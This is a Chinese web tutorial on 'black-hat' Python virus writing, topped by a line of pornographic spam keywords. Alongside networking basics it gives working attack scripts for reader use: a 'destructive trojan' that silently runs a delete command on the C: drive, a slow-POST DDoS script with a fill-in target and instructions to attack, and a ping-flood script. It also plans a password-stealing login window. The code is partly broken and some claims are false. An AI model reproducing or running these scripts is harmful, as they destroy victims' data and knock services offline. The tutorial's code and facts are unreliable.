欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python3.7黑帽編程之病毒篇(基礎(chǔ)篇)

 更新時(shí)間:2020年02月04日 08:56:47   作者:tiantian520ttjs  
這篇文章主要介紹了Python3.7黑帽編程之病毒篇(基礎(chǔ)篇),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

引子

Hacker(黑客),往往被人們理解為只會(huì)用非法手段來(lái)破壞網(wǎng)絡(luò)安全的計(jì)算機(jī)高手。但是,黑客其實(shí)不是這樣的,真正的“網(wǎng)絡(luò)破壞者”是和黑客名稱和讀音相似的駭客。
駭客,是用黑客手段進(jìn)行非法操作并為己取得利益的人。黑客,是用黑客手段為國(guó)家或單位做事的人。
那么,既然黑客不是一個(gè)很壞的職業(yè),我們就可以去試著學(xué)習(xí)。

黑客本身的初衷

——黑客其實(shí)一直是善良的。 駭客其實(shí)他的前身就是黑客。
駭客與黑客分家,有這么一個(gè)故事:
原本,只有黑客一族。而不久后,有些黑客想用黑客手段來(lái)獲取利益,不斷被其他的黑客反對(duì)。于是,那些黑客悄悄私下成立了一個(gè)新的族群——駭客族。
駭客族產(chǎn)生后,一直處于保密狀態(tài),所以,沒(méi)有人知道這個(gè)族。
直到有一天——
駭客族出現(xiàn)了一次大騷動(dòng):
不斷的進(jìn)行網(wǎng)絡(luò)欺騙、流量攻擊,盜取了很多人的賬號(hào),還修改了一些大型的搜索網(wǎng)站。
于是,從這天開(kāi)始,黑駭(黑客和駭客)分家了。
黑客的初衷本是一些測(cè)試程序漏洞的計(jì)算機(jī)高手,他們還幫國(guó)家和單位做事。但是,人心總是貪婪,造成了駭客的誕生。
從此以后,防病毒產(chǎn)品誕生了。

基礎(chǔ)篇

什么是病毒

病毒,指的是一些通過(guò)非法手段獲取系統(tǒng)的一些權(quán)限,然后進(jìn)行破壞或者盜取。
病毒分為兩類(lèi):
1、破壞型
這類(lèi)病毒往往會(huì)將系統(tǒng)弄的亂七八糟,比如把你的U盤(pán)刪光,把你的系統(tǒng)背景調(diào)成黑客圖片,把你的桌面全部變成某個(gè)圖標(biāo)…
這些病毒一般比較明顯,所以,殺毒軟件一般比較容易查殺,但是,下面這種就不一樣了。
2、非破壞型
非破壞型病毒不會(huì)把你的系統(tǒng)怎么樣,也不會(huì)刪除你的文件和修改你的個(gè)性化操作,他們只有一個(gè)目的:盜取文件或讓它們的主人進(jìn)入你的計(jì)算機(jī)。例如最典型的灰鴿子,就是讓黑客進(jìn)行連接,然后控制你的電腦。冰河也是一樣。還有一種ftp木馬,它們的目的就是打開(kāi)21端口,等待黑客連接。

安裝編程環(huán)境:Python3.7 IDE

在編寫(xiě)程序進(jìn)行黑客攻擊和病毒編寫(xiě)之前,我們得先安裝我們的編程環(huán)境:Python3.7 IDE

從網(wǎng)絡(luò)上下載:Python3.7 IDE

下載Python3.7

接著,雙擊它,按照安裝向?qū)瓿砂惭b。

啟動(dòng)

在Windows搜索欄中搜索:Python
會(huì)顯示出:

顯示的圖片
打開(kāi)它!Python3.7的界面

打造攻擊目標(biāo):VMware虛擬機(jī)

我們現(xiàn)在還沒(méi)有一個(gè)攻擊目標(biāo),因?yàn)槲覀儸F(xiàn)在不能攻擊別人的電腦,否則,你就是駭客了。
那么,我們只有安裝VMware虛擬機(jī)了。
安裝VMware Workstation player
(注:此處不細(xì)說(shuō),因?yàn)榘姹静灰?,安裝不一樣)
打開(kāi)!

VMware Workstation player運(yùn)行界面

然后,請(qǐng)下載Windows 7 原生純凈鏡像,可以百度“我告訴你”,點(diǎn)擊第二個(gè),下載Windows7。

新建虛擬機(jī)

點(diǎn)擊“創(chuàng)建新虛擬機(jī)”

在瀏覽處選擇Windows純凈鏡像

點(diǎn)擊“下一步”

輸入安全密鑰

這里需要輸入Windows7的密鑰,按圖中輸入。
下一步:

輸入電腦名

下一步:

輸入硬盤(pán)大小

完成

我們已經(jīng)完成了VMware Workstation 虛擬機(jī)的配置,現(xiàn)在我們啟動(dòng)它:

啟動(dòng)


加載中

在這段時(shí)間內(nèi),計(jì)算機(jī)(虛擬機(jī))會(huì)重啟數(shù)次,最終完成安裝。
安裝成功后即可開(kāi)始使用Windows 7 ,并且可以向它發(fā)起猛烈的攻擊了。

正在啟動(dòng)

Windows7是微軟(Microsoft)的杰出產(chǎn)品之一,但可惜的是它還是被更優(yōu)秀的Windows10取代。在2015年,微軟(Microsoft)正式宣布不再支持Windows7,也就意味著,不會(huì)再有新的更新給使用Windows7的用戶了。

啟動(dòng)成功!

啟動(dòng)成功!我們可以在這臺(tái)Windows上工作,并且也可以攻擊它了!

編寫(xiě)經(jīng)典程序——Hello,World

打開(kāi)Python,點(diǎn)擊File,New。
在彈出的窗口中輸入:

print('Hello, World!')

點(diǎn)擊Run,最后一個(gè)選項(xiàng),查看結(jié)果。
顯示:

Hello, World!

這表示IDE程序可用,也表示,你已經(jīng)成為一名程序員了!

測(cè)試網(wǎng)絡(luò)的PING

PING程序是Microsoft(微軟公司)為Windows用戶準(zhǔn)備的網(wǎng)絡(luò)檢測(cè)程序,使用他,可以幫你查看網(wǎng)絡(luò)狀態(tài)和網(wǎng)絡(luò)是否可訪問(wèn)。
鍵擊“windows鍵+R”,打開(kāi)運(yùn)行窗口,輸入cmd,回車(chē),即可打開(kāi)終端窗口。在這里,你可以做很多一般人做不到的事情。

運(yùn)行

cmd

在終端里輸入ping/?,查看詳細(xì)用法。

ping

常用指令:
PING -t ip
注:這樣可以PING指定的IP到永遠(yuǎn),除非你停止它。很多初級(jí)黑客喜歡用這個(gè)參數(shù)來(lái)進(jìn)行網(wǎng)絡(luò)堵塞的攻擊。
PING -l 大小 ip
注:這樣可以設(shè)置發(fā)送包大小
PING -n 次數(shù) ip
注:這樣可以設(shè)置次數(shù)。

試試對(duì)baidu.com進(jìn)行PING指令

打開(kāi)終端,輸入PING -n 10 -l 10 baidu.com

ping

(此命令必須在Windows 8以上才可以運(yùn)行,Windows 7部分版本不支持PING網(wǎng)頁(yè))
我們檢測(cè)到我們可以連接到baidu.com,說(shuō)明我們的網(wǎng)絡(luò)是可用的。

TCP\IP協(xié)議

TCP/IP傳輸協(xié)議,即傳輸控制/網(wǎng)絡(luò)協(xié)議,也叫作網(wǎng)絡(luò)通訊協(xié)議。它是在網(wǎng)絡(luò)的使用中的最基本的通信協(xié)議。TCP/IP傳輸協(xié)議對(duì)互聯(lián)網(wǎng)中各部分進(jìn)行通信的標(biāo)準(zhǔn)和方法進(jìn)行了規(guī)定。并且,TCP/IP傳輸協(xié)議是保證網(wǎng)絡(luò)數(shù)據(jù)信息及時(shí)、完整傳輸?shù)膬蓚€(gè)重要的協(xié)議。TCP/IP傳輸協(xié)議是嚴(yán)格來(lái)說(shuō)是一個(gè)四層的體系結(jié)構(gòu),應(yīng)用層、傳輸層、網(wǎng)絡(luò)層和數(shù)據(jù)鏈路層都包含其中。

TCP/IP協(xié)議是Internet最基本的協(xié)議,其中應(yīng)用層的主要協(xié)議有Telnet、FTP、SMTP等,是用來(lái)接收來(lái)自傳輸層的數(shù)據(jù)或者按不同應(yīng)用要求與方式將數(shù)據(jù)傳輸至傳輸層;傳輸層的主要協(xié)議有UDP、TCP,是使用者使用平臺(tái)和計(jì)算機(jī)信息網(wǎng)內(nèi)部數(shù)據(jù)結(jié)合的通道,可以實(shí)現(xiàn)數(shù)據(jù)傳輸與數(shù)據(jù)共享;網(wǎng)絡(luò)層的主要協(xié)議有ICMP、IP、IGMP,主要負(fù)責(zé)網(wǎng)絡(luò)中數(shù)據(jù)包的傳送等;而網(wǎng)絡(luò)訪問(wèn)層,也叫網(wǎng)路接口層或數(shù)據(jù)鏈路層,主要協(xié)議有ARP、RARP,主要功能是提供鏈路管理錯(cuò)誤檢測(cè)、對(duì)不同通信媒介有關(guān)信息細(xì)節(jié)問(wèn)題進(jìn)行有效處理等。

TCP/IP協(xié)議能夠迅速發(fā)展起來(lái)并成為事實(shí)上的標(biāo)準(zhǔn),是它恰好適應(yīng)了世界范圍內(nèi)數(shù)據(jù)通信的需要。它有以下特點(diǎn):
(1)協(xié)議標(biāo)準(zhǔn)是完全開(kāi)放的,可以供用戶免費(fèi)使用,并且獨(dú)立于特定的計(jì)算機(jī)硬件與操作系統(tǒng)。
(2)獨(dú)立于網(wǎng)絡(luò)硬件系統(tǒng),可以運(yùn)行在廣域網(wǎng),更適合于互聯(lián)網(wǎng)。
(3)網(wǎng)絡(luò)地址統(tǒng)一分配,網(wǎng)絡(luò)中每一設(shè)備和終端都具有一個(gè)唯一地址。
(4)高層協(xié)議標(biāo)準(zhǔn)化,可以提供多種多樣可靠網(wǎng)絡(luò)服務(wù)。

TCP/IP協(xié)議的層次

網(wǎng)絡(luò)層

IP協(xié)議
網(wǎng)絡(luò)層引入了IP協(xié)議,制定了一套新地址,使得我們能夠區(qū)分兩臺(tái)主機(jī)是否同屬一個(gè)網(wǎng)絡(luò),這套地址就是網(wǎng)絡(luò)地址,也就是所謂的IP地址。IP協(xié)議將這個(gè)32位的地址分為兩部分,前面部分代表網(wǎng)絡(luò)地址,后面部分表示該主機(jī)在局域網(wǎng)中的地址。如果兩個(gè)IP地址在同一個(gè)子網(wǎng)內(nèi),則網(wǎng)絡(luò)地址一定相同。為了判斷IP地址中的網(wǎng)絡(luò)地址,IP協(xié)議還引入了子網(wǎng)掩碼,IP地址和子網(wǎng)掩碼通過(guò)按位與運(yùn)算后就可以得到網(wǎng)絡(luò)地址。
ARP協(xié)議
即地址解析協(xié)議,是根據(jù)IP地址獲取MAC地址的一個(gè)網(wǎng)絡(luò)層協(xié)議。其工作原理如下:ARP首先會(huì)發(fā)起一個(gè)請(qǐng)求數(shù)據(jù)包,數(shù)據(jù)包的首部包含了目標(biāo)主機(jī)的IP地址,然后這個(gè)數(shù)據(jù)包會(huì)在鏈路層進(jìn)行再次包裝,生成以太網(wǎng)數(shù)據(jù)包,最終由以太網(wǎng)廣播給子網(wǎng)內(nèi)的所有主機(jī),每一臺(tái)主機(jī)都會(huì)接收到這個(gè)數(shù)據(jù)包,并取出標(biāo)頭里的IP地址,然后和自己的IP地址進(jìn)行比較,如果相同就返回自己的MAC地址,如果不同就丟棄該數(shù)據(jù)包。ARP接收返回消息,以此確定目標(biāo)機(jī)的MAC地址;與此同時(shí),ARP還會(huì)將返回的MAC地址與對(duì)應(yīng)的IP地址存入本機(jī)ARP緩存中并保留一定時(shí)間,下次請(qǐng)求時(shí)直接查詢ARP緩存以節(jié)約資源。
路由協(xié)議
首先通過(guò)IP協(xié)議來(lái)判斷兩臺(tái)主機(jī)是否在同一個(gè)子網(wǎng)中,如果在同一個(gè)子網(wǎng),就通過(guò)ARP協(xié)議查詢對(duì)應(yīng)的MAC地址,然后以廣播的形式向該子網(wǎng)內(nèi)的主機(jī)發(fā)送數(shù)據(jù)包;如果不在同一個(gè)子網(wǎng),以太網(wǎng)會(huì)將該數(shù)據(jù)包轉(zhuǎn)發(fā)給本子網(wǎng)的網(wǎng)關(guān)進(jìn)行路由。網(wǎng)關(guān)是互聯(lián)網(wǎng)上子網(wǎng)與子網(wǎng)之間的橋梁,所以網(wǎng)關(guān)會(huì)進(jìn)行多次轉(zhuǎn)發(fā),最終將該數(shù)據(jù)包轉(zhuǎn)發(fā)到目標(biāo)IP所在的子網(wǎng)中,然后再通過(guò)ARP獲取目標(biāo)機(jī)MAC,最終也是通過(guò)廣播形式將數(shù)據(jù)包發(fā)送給接收方。而完成這個(gè)路由協(xié)議的物理設(shè)備就是路由器,路由器扮演著交通樞紐的角色,它會(huì)根據(jù)信道情況,選擇并設(shè)定路由,以最佳路徑來(lái)轉(zhuǎn)發(fā)數(shù)據(jù)包。
所以,網(wǎng)絡(luò)層的主要工作是定義網(wǎng)絡(luò)地址、區(qū)分網(wǎng)段、子網(wǎng)內(nèi)MAC尋址、對(duì)于不同子網(wǎng)的數(shù)據(jù)包進(jìn)行路由。

傳輸層

鏈路層定義了主機(jī)的身份,即MAC地址,而網(wǎng)絡(luò)層定義了IP地址,明確了主機(jī)所在的網(wǎng)段,有了這兩個(gè)地址,數(shù)據(jù)包就從可以從一個(gè)主機(jī)發(fā)送到另一臺(tái)主機(jī)。但實(shí)際上數(shù)據(jù)包是從一個(gè)主機(jī)的某個(gè)應(yīng)用程序發(fā)出,然后由對(duì)方主機(jī)的應(yīng)用程序接收。而每臺(tái)電腦都有可能同時(shí)運(yùn)行著很多個(gè)應(yīng)用程序,所以當(dāng)數(shù)據(jù)包被發(fā)送到主機(jī)上以后,是無(wú)法確定哪個(gè)應(yīng)用程序要接收這個(gè)包。因此傳輸層引入了UDP協(xié)議來(lái)解決這個(gè)問(wèn)題,為了給每個(gè)應(yīng)用程序標(biāo)識(shí)身份。
UDP協(xié)議
UDP協(xié)議定義了端口,同一個(gè)主機(jī)上的每個(gè)應(yīng)用程序都需要指定唯一的端口號(hào),并且規(guī)定網(wǎng)絡(luò)中傳輸?shù)臄?shù)據(jù)包必須加上端口信息,當(dāng)數(shù)據(jù)包到達(dá)主機(jī)以后,就可以根據(jù)端口號(hào)找到對(duì)應(yīng)的應(yīng)用程序了。UDP協(xié)議比較簡(jiǎn)單,實(shí)現(xiàn)容易,但它沒(méi)有確認(rèn)機(jī)制,數(shù)據(jù)包一旦發(fā)出,無(wú)法知道對(duì)方是否收到,因此可靠性較差,為了解決這個(gè)問(wèn)題,提高網(wǎng)絡(luò)可靠性,TCP協(xié)議就誕生了。
TCP協(xié)議
TCP即傳輸控制協(xié)議,是一種面向連接的、可靠的、基于字節(jié)流的通信協(xié)議。簡(jiǎn)單來(lái)說(shuō)TCP就是有確認(rèn)機(jī)制的UDP協(xié)議,每發(fā)出一個(gè)數(shù)據(jù)包都要求確認(rèn),如果有一個(gè)數(shù)據(jù)包丟失,就收不到確認(rèn),發(fā)送方就必須重發(fā)這個(gè)數(shù)據(jù)包。為了保證傳輸?shù)目煽啃?,TCP協(xié)議在UDP基礎(chǔ)之上建立了三次對(duì)話的確認(rèn)機(jī)制,即在正式收發(fā)數(shù)據(jù)前,必須和對(duì)方建立可靠的連接。TCP數(shù)據(jù)包和UDP一樣,都是由首部和數(shù)據(jù)兩部分組成,唯一不同的是,TCP數(shù)據(jù)包沒(méi)有長(zhǎng)度限制,理論上可以無(wú)限長(zhǎng),但是為了保證網(wǎng)絡(luò)的效率,通常TCP數(shù)據(jù)包的長(zhǎng)度不會(huì)超過(guò)IP數(shù)據(jù)包的長(zhǎng)度,以確保單個(gè)TCP數(shù)據(jù)包不必再分割。
傳輸層的主要工作是定義端口,標(biāo)識(shí)應(yīng)用程序身份,實(shí)現(xiàn)端口到端口的通信,TCP協(xié)議可以保證數(shù)據(jù)傳輸?shù)目煽啃浴?/p>

應(yīng)用層

理論上講,有了以上三層協(xié)議的支持,數(shù)據(jù)已經(jīng)可以從一個(gè)主機(jī)上的應(yīng)用程序傳輸?shù)搅硪慌_(tái)主機(jī)的應(yīng)用程序了,但此時(shí)傳過(guò)來(lái)的數(shù)據(jù)是字節(jié)流,不能很好的被程序識(shí)別,操作性差,因此,應(yīng)用層定義了各種各樣的協(xié)議來(lái)規(guī)范數(shù)據(jù)格式,常見(jiàn)的有http,ftp,smtp等,在請(qǐng)求Header中,分別定義了請(qǐng)求數(shù)據(jù)格式Accept和響應(yīng)數(shù)據(jù)格式Content-Type,有了這個(gè)規(guī)范以后,當(dāng)對(duì)方接收到請(qǐng)求以后就知道該用什么格式來(lái)解析,然后對(duì)請(qǐng)求進(jìn)行處理,最后按照請(qǐng)求方要求的格式將數(shù)據(jù)返回,請(qǐng)求端接收到響應(yīng)后,就按照規(guī)定的格式進(jìn)行解讀。
所以應(yīng)用層的主要工作就是定義數(shù)據(jù)格式并按照對(duì)應(yīng)的格式解讀數(shù)據(jù)。

黑客入門(mén)的操作命令

1、“肉雞”

“肉雞”有點(diǎn)類(lèi)似牽線木偶,是指可以被黑客神不知鬼不覺(jué)地遠(yuǎn)程控制的電腦或者大型服務(wù)器。不論什么系統(tǒng)都有可能淪為“肉雞”。

2、“木馬”

“木馬”是一種在運(yùn)行后可以得到系統(tǒng)的控制權(quán)的程序。拿網(wǎng)頁(yè)木馬舉例,主要是利用瀏覽器的漏洞把網(wǎng)頁(yè)木馬搞到瀏覽器訪問(wèn)者本地上,然后自動(dòng)執(zhí)行的。

3、“后門(mén)”

黑客在通過(guò)某種手段成功控制目標(biāo)主機(jī)之后,搞到系統(tǒng)的訪問(wèn)權(quán)限。訪問(wèn)系統(tǒng)后通過(guò)系統(tǒng)漏洞得到root權(quán)限,再安裝rootkit,就可以較長(zhǎng)時(shí)間地控制該目標(biāo)主機(jī)。

4、“弱口令”

弱口令的安全強(qiáng)度不高,易于被猜到破解的密碼,比如123456、654321。

5、“溢出”

“溢出”一般指的是緩沖區(qū)溢出。說(shuō)白了,就是程序沒(méi)有進(jìn)行有效地監(jiān)測(cè),導(dǎo)致輸入的數(shù)據(jù)沒(méi)執(zhí)行。這樣的程序和沒(méi)有執(zhí)行的數(shù)據(jù)越來(lái)越多,最后程序會(huì)解體,也有可能錯(cuò)誤地執(zhí)行黑客的命令。

6、“花指令”

“花指令”是用匯編語(yǔ)言寫(xiě)成的,導(dǎo)致殺毒軟件無(wú)法對(duì)病毒進(jìn)行合理地判斷。因?yàn)闅⒍拒浖许樞蛞?guī)則,就是從頭到尾來(lái)查殺病毒。而一旦病毒的頭尾順序不對(duì),殺毒軟件就歇菜了。

7、“免殺”

“免殺”,顧名思義,就是免去殺毒軟件的查殺。使用一些技術(shù)把程序進(jìn)行修改,這些技術(shù)主要有加殼、加密、加花指令等。

8、“加殼”

“加殼”的目的主要有壓縮文件、將程序編碼加密、免殺等,主要通過(guò)一些不一般的算法改變可執(zhí)行程序或者DLL動(dòng)態(tài)鏈接庫(kù)文件的編碼。

9、“Shell”

“Shell”是一種程序或者命令的執(zhí)行環(huán)境。比如,一般用遠(yuǎn)程溢出程序后,可以成功控制遠(yuǎn)程電腦,在該電腦執(zhí)行系統(tǒng)命令的環(huán)境就是“Shell”。

Python編寫(xiě)基本程序

Python是一個(gè)強(qiáng)大的語(yǔ)言,它十分簡(jiǎn)潔,但是十分有用。
在此書(shū)編寫(xiě)時(shí),Python3.7.3已經(jīng)算較新的版本了,所以如果想和本書(shū)同步,請(qǐng)安裝Python3.7.3
編程,就是指用一段計(jì)算機(jī)能聽(tīng)懂的話讓計(jì)算機(jī)去幫你做事情,這就叫編程。
我們已經(jīng)學(xué)會(huì)了“Hello,World!”的編寫(xiě),現(xiàn)在,我們來(lái)編寫(xiě)一個(gè)簡(jiǎn)單的登錄系統(tǒng),我們?cè)诤笃?,?huì)將它改裝成一個(gè)盜取密碼的病毒。
登錄.py

from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
  window=tk.Tk()
  window.title('歡迎使用Windows高級(jí)功能!')
  window.geometry('450x300')
  
  

  #畫(huà)布放置圖片
  canvas=tk.Canvas(window,height=300,width=500)
  imagefile=tk.PhotoImage(file='Hello.png')
  image=canvas.create_image(0,0,anchor='nw',image=imagefile)
  canvas.pack(side='top')
  #標(biāo)簽 用戶名密碼
  tk.Label(window,text='用戶名:').place(x=100,y=150)
  tk.Label(window,text='密碼:').place(x=100,y=190)
  #用戶名輸入框
  var_usr_name=tk.StringVar()
  entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
  entry_usr_name.place(x=160,y=150)
  #密碼輸入框
  var_usr_pwd=tk.StringVar()
  entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
  entry_usr_pwd.place(x=160,y=190)
 
  #登錄函數(shù)
  def usr_log_in():
    #輸入框獲取用戶名密碼
    usr_name=var_usr_name.get()
    usr_pwd=var_usr_pwd.get()
    #從本地字典獲取用戶信息,如果沒(méi)有則新建本地?cái)?shù)據(jù)庫(kù)
    try:
      with open('usr_info.pickle','rb') as usr_file:
        usrs_info=pickle.load(usr_file)
    except FileNotFoundError:
      with open('usr_info.pickle','wb') as usr_file:
        usrs_info={'admin':'admin'}
        pickle.dump(usrs_info,usr_file)
    #判斷用戶名和密碼是否匹配
    if usr_name in usrs_info:
      if usr_pwd == usrs_info[usr_name]:
        

        
  
        



        
        tk.messagebox.showinfo(title='welcome',
                    message='歡迎您:'+usr_name)
        
        

      else:
        
        tk.messagebox.showerror(message='密碼錯(cuò)誤')
    #用戶名密碼不能為空
    elif usr_name=='' or usr_pwd=='' :
      
      tk.messagebox.showerror(message='用戶名或密碼為空')
    #不在數(shù)據(jù)庫(kù)中彈出是否注冊(cè)的框
    else:
      is_signup=tk.messagebox.askyesno('歡迎','您還沒(méi)有注冊(cè),是否現(xiàn)在注冊(cè)')
      if is_signup:
        usr_sign_up()
  #注冊(cè)函數(shù)
  def usr_sign_up():
    
    #確認(rèn)注冊(cè)時(shí)的相應(yīng)函數(shù)
    def signtowcg():
    #獲取輸入框內(nèi)的內(nèi)容
      nn=new_name.get()
      np=new_pwd.get()
      npf=new_pwd_confirm.get()
 
      #本地加載已有用戶信息,如果沒(méi)有則已有用戶信息為空
      try:
        with open('usr_info.pickle','rb') as usr_file:
          exist_usr_info=pickle.load(usr_file)
      except FileNotFoundError:
          exist_usr_info={}      
      
      #檢查用戶名存在、密碼為空、密碼前后不一致
      if nn in exist_usr_info:
        tk.messagebox.showerror('錯(cuò)誤','用戶名已存在')
      elif np =='' or nn=='':
        tk.messagebox.showerror('錯(cuò)誤','用戶名或密碼為空')
      elif np !=npf:
        tk.messagebox.showerror('錯(cuò)誤','密碼前后不一致')
      #注冊(cè)信息沒(méi)有問(wèn)題則將用戶名密碼寫(xiě)入數(shù)據(jù)庫(kù)
      else:
        exist_usr_info[nn]=np
        with open('usr_info.pickle','wb') as usr_file:
          pickle.dump(exist_usr_info,usr_file)
        tk.messagebox.showinfo('歡迎','注冊(cè)成功')
        #注冊(cè)成功關(guān)閉注冊(cè)框
        window_sign_up.destroy()
    #新建注冊(cè)界面
    window_sign_up=tk.Toplevel(window)
    window_sign_up.geometry('350x200')
    window_sign_up.title('注冊(cè)')
    #用戶名變量及標(biāo)簽、輸入框
    new_name=tk.StringVar()
    tk.Label(window_sign_up,text='用戶名:').place(x=10,y=10)
    tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
    #密碼變量及標(biāo)簽、輸入框
    new_pwd=tk.StringVar()
    tk.Label(window_sign_up,text='請(qǐng)輸入密碼:').place(x=10,y=50)
    tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)  
    #重復(fù)密碼變量及標(biāo)簽、輸入框
    new_pwd_confirm=tk.StringVar()
    tk.Label(window_sign_up,text='請(qǐng)?jiān)俅屋斎朊艽a:').place(x=10,y=90)
    tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)  
    #確認(rèn)注冊(cè)按鈕及位置
    bt_confirm_sign_up=tk.Button(window_sign_up,text='確認(rèn)注冊(cè)',
                 command=signtowcg)
    bt_confirm_sign_up.place(x=150,y=130)
  #退出的函數(shù)
  def usr_sign_quit():
    try :
      

      window.destroy()
    except :
      pass
  #登錄 注冊(cè)按鈕
  bt_login=tk.Button(window,text='登錄',command=usr_log_in)
  bt_login.place(x=140,y=230)
  bt_logup=tk.Button(window,text='注冊(cè)',command=usr_sign_up)
  bt_logup.place(x=210,y=230)
  bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
  bt_logquit.place(x=280,y=230)
  #主循環(huán)
  window.mainloop()
  # -*-coding:utf-8-*
  import socket
  import threading
  import Queue
  import time
except :
  pass

這段代碼會(huì)讓用戶輸入用戶名和密碼,并且進(jìn)行登錄。

木馬程序的編寫(xiě)

在本章,我們將正式開(kāi)始木馬的編寫(xiě)。
用Python寫(xiě)木馬,其實(shí)很簡(jiǎn)單。
下面是我例舉的一個(gè)破壞型木馬的代碼:
Delete.py

import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk 
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import os
import sys
import subprocess
ret = subprocess.call("del C:\ ", shell=True)
window=tk.Tk()
window.withdraw() 
window.mainloop() 

他其實(shí)很簡(jiǎn)單,但是,卻又讓一些很基礎(chǔ)的用戶受騙。
很多人在電腦彈出窗口提示時(shí)都喜歡點(diǎn)擊“是”“確認(rèn)”“好”,但是,可能就因?yàn)檫@樣,你的C:\被刪除了。這意味著,你失去了系統(tǒng)盤(pán)!
破壞型木馬很好編寫(xiě),我們?cè)谇捌诙荚诰帉?xiě)破壞型木馬和病毒,所以都比較簡(jiǎn)單。

Python之外,課外擴(kuò)展

GoC繪圖語(yǔ)言
這種語(yǔ)言主要功能是繪圖,是編程新人的不二選擇——因?yàn)樗拇a太簡(jiǎn)單了!
打開(kāi)GoC

GoC

輸入以下代碼:

int main()
{
	
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	p.fd(100);
	p.rt(90);
	return 0;
}

代碼

運(yùn)行:

運(yùn)行

C++/C
這些語(yǔ)言想必大家都比較清楚,在這里就不多介紹。
如果對(duì)這些語(yǔ)言有興趣,可以去學(xué)習(xí)。
在Dev-C++(初學(xué)者編程環(huán)境)中創(chuàng)建新文件,輸入以下代碼:

#include<iostream>
using namespace std;
int main()
{
	cout<<"Hello,World!"<<endl;
	return 0;
}

運(yùn)行后,顯示:

Hello,World!

初級(jí)篇

在這一篇,你將成為一名黑客……

Python編寫(xiě)DDoS攻擊程序

分布式拒絕服務(wù)攻擊(英文意思是Distributed Denial of Service,簡(jiǎn)稱DDoS)是指處于不同位置的多個(gè)攻擊者同時(shí)向一個(gè)或數(shù)個(gè)目標(biāo)發(fā)動(dòng)攻擊,或者一個(gè)攻擊者控制了位于不同位置的多臺(tái)機(jī)器并利用這些機(jī)器對(duì)受害者同時(shí)實(shí)施攻擊。由于攻擊的發(fā)出點(diǎn)是分布在不同地方的,這類(lèi)攻擊稱為分布式拒絕服務(wù)攻擊,其中的攻擊者可以有多個(gè)。
那么,我們用代碼來(lái)執(zhí)行DDoS攻擊,你可以邀請(qǐng)你的朋友一起來(lái)學(xué)習(xí)和使用。
下面,你可以把代碼復(fù)制到你的Python上,然后運(yùn)行,試試效果。
DDoS.py

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號(hào)里輸入對(duì)方IP或域名,要保證他聯(lián)網(wǎng)了或開(kāi)機(jī)了.
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
  global socks
  for i in range(0,MAX_CONN):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
      s.connect((HOST,PORT))
      s.send(buf.encode())
      print ("Send buf OK!,conn=%d\n"%i)
      socks.append(s)
    except Exception as ex:
      print ("Could not connect to server or send error:%s"%ex)
      time.sleep(0.1)
#end def
 
def send_thread():
  global socks
  while True:
    for s in socks:
      try:
        s.send("f".encode())
        #print "send OK!"
      except Exception as ex:
        print ("Send Exception:%s\n"%ex)
        socks.remove(s)
        s.close()
    time.sleep(0.1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

在指定位置輸入你要攻擊的IP或網(wǎng)址,運(yùn)行,就可以進(jìn)行攻擊了。

運(yùn)用PING程序進(jìn)行網(wǎng)絡(luò)堵塞攻擊

前面說(shuō)過(guò),PING程序可能會(huì)使網(wǎng)絡(luò)堵塞,所以,我們根據(jù)這個(gè)原理編寫(xiě)了一個(gè)攻擊程序。
網(wǎng)絡(luò)堵塞.py

import os
import socket
import time
ip = input("請(qǐng)輸入IP:")
os.system("ping -t -l 50 " + ip)

運(yùn)行程序,輸入IP,就可以等待指定主機(jī)網(wǎng)絡(luò)堵塞了。

連接對(duì)方的計(jì)算機(jī)

我們可以使用“telnet”命令來(lái)進(jìn)行遠(yuǎn)程終端的連接。
打開(kāi)終端窗口,輸入telnet/?,查看用法:

telnet

輸入 telnet HOST POST,可以進(jìn)行連接,這里以baidu.com為例:

已成功連接

這里已經(jīng)成功連接,正在加載。
運(yùn)用它可以連接遠(yuǎn)程主機(jī),實(shí)現(xiàn)遠(yuǎn)程操控。

運(yùn)用ftp來(lái)進(jìn)行文件傳輸

ftp是一種協(xié)議,也是一種指令,用它,可以進(jìn)行文件傳輸。
打開(kāi)終端,輸入:

輸入

可以根據(jù)這些指令進(jìn)行文件的傳輸。
有一些殺毒軟件(例如:金山毒霸、趨勢(shì)科技)會(huì)進(jìn)行阻止,因?yàn)樗鼈兌紩?huì)自我防護(hù),防止未知木馬下載到計(jì)算機(jī)上。

copy

運(yùn)行copy程序,可以讓它幫你復(fù)制文件,你可以在病毒中添加這個(gè)程序,讓無(wú)知的計(jì)算機(jī)幫你復(fù)制病毒程序。
打開(kāi)終端窗口,輸入copy/?:

copy

